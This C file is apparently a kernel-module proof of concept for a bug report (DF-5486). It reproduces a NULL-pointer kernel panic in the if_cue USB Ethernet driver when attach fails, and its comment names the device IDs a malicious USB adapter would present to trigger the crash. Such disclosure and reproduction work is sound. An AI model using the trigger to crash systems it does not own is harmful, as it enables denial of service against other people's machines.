/*
 * DF-5486 PoC harness — if_cue.c attach-failure DF-5334-class panic.
 *
 * Target: sys/bus/u4b/net/if_cue.c cue_attach() failure branches:
 *
 *   402:   lockinit(&sc->sc_lock, device_get_nameunit(dev), 0, LK_CANRECURSE);
 *   404:   iface_index = CUE_IFACE_IDX;
 *   405:   error = usbd_transfer_setup(uaa->device, &iface_index,
 *   406:       sc->sc_xfer, cue_config, CUE_N_TRANSFER, sc, &sc->sc_lock);
 *   407:   if (error) {
 *   408:       device_printf(dev, "allocating USB transfers failed\n");
 *   409:       goto detach;
 *   410:   }
 *   ...
 *   418:   error = uether_ifattach(ue);
 *   419:   if (error) {
 *   420:       device_printf(dev, "could not attach interface\n");
 *   421:       goto detach;
 *   422:   }
 *   423:   return (0);   [success]
 *
 *   425: detach:
 *   426:   cue_detach(dev);
 *   427:   return (ENXIO);   [failure]
 *
 * cue_detach() (if_cue.c:430-441) then runs, in order:
 *
 *   436:   usbd_transfer_unsetup(sc->sc_xfer, CUE_N_TRANSFER);
 *   437:   uether_ifdetach(ue);
 *
 * but at this point ue->ue_lock / ue_dev / ue_udev / ue_methods / ue_tq are
 * still ALL ZERO (they are assigned only at if_cue.c:412-416, AFTER the
 * failing usbd_transfer_setup()).  uether_ifdetach()
 * (sys/bus/u4b/net/usb_ethernet.c:267-305):
 *
 *   273:   usb_proc_drain(&ue->ue_tq);        <- no-op, up_lock == NULL
 *   276:   ifp = uether_getifp(ue);           <- embedded arpcom ifnet, NEVER NULL
 *   278:   if (ifp != NULL) {                 <- dead guard, always true
 *   281:       UE_LOCK(ue);                   <- lockmgr(NULL, LK_EXCLUSIVE)
 *                                              ==> Fatal trap 12, fault VA 0x0
 *
 * The trigger is fully device-controlled: any USB device presenting one of
 * the 3 VID:PID pairs in cue_devs[] (CATC NETMATE 0x042e:0x5600,
 * NETMATE2 0x042e:0x5601, SmartBridges SMARTLINK 0x087d:0x5600) at config
 * index 0 / iface 0 but WITHOUT a bulk-in + bulk-out endpoint pair makes
 * usbd_transfer_setup() fail (USB_ERR_NO_ENDPOINT / USB_ERR_SETUP) -- an
 * evil-USB-adapter / evil-dock / VM-attach scenario.
 *
 * This KLD replays cue_detach() verbatim on that exact post-failure state
 * using the production usbd_transfer_unsetup() and uether_ifdetach()
 * (exported by uether.ko).  The only non-production code is the static
 * cue_attach()/cue_detach() plumbing itself (they are static in if_cue.c,
 * unreachable without a physical CATC Netmate; the failure branch reaches
 * them through a plain goto).
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

#include <bus/u4b/net/usb_ethernet.h>
#include <bus/u4b/net/if_cuereg.h>

static int
cue_poc_modevent(module_t mod, int type, void *arg)
{
	struct cue_softc *sc;

	switch (type) {
	case MOD_LOAD:
		kprintf("cue_poc: constructing post-'allocating USB transfers "
		    "failed' state (if_cue.c:405-410)\n");
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		if (sc == NULL)
			return (ENOMEM);
		/* if_cue.c:402: the only softc field initialised before the
		 * failing usbd_transfer_setup() at if_cue.c:405 */
		lockinit(&sc->sc_lock, "cue_poc", 0, LK_CANRECURSE);
		kprintf("cue_poc: state check: ue_lock=%p ue_dev=%p "
		    "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n",
		    sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev,
		    sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock);
		kprintf("cue_poc: entering cue_detach() replay: "
		    "usbd_transfer_unsetup() + uether_ifdetach() "
		    "(if_cue.c:436-437)\n");

		/* if_cue.c:436 — production code, zeroed xfer array == branch-1 */
		usbd_transfer_unsetup(sc->sc_xfer, CUE_N_TRANSFER);

		/* if_cue.c:437 -> uether_ifdetach() -> UE_LOCK(ue) ->
		 * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */
		uether_ifdetach(&sc->sc_ue);

		kprintf("cue_poc: SURVIVED uether_ifdetach() (UNEXPECTED — "
		    "guard present?)\n");
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t cue_poc_mod = { "cue_poc", cue_poc_modevent, NULL };
DECLARE_MODULE(cue_poc, cue_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(cue_poc, uether, 1, 1, 1);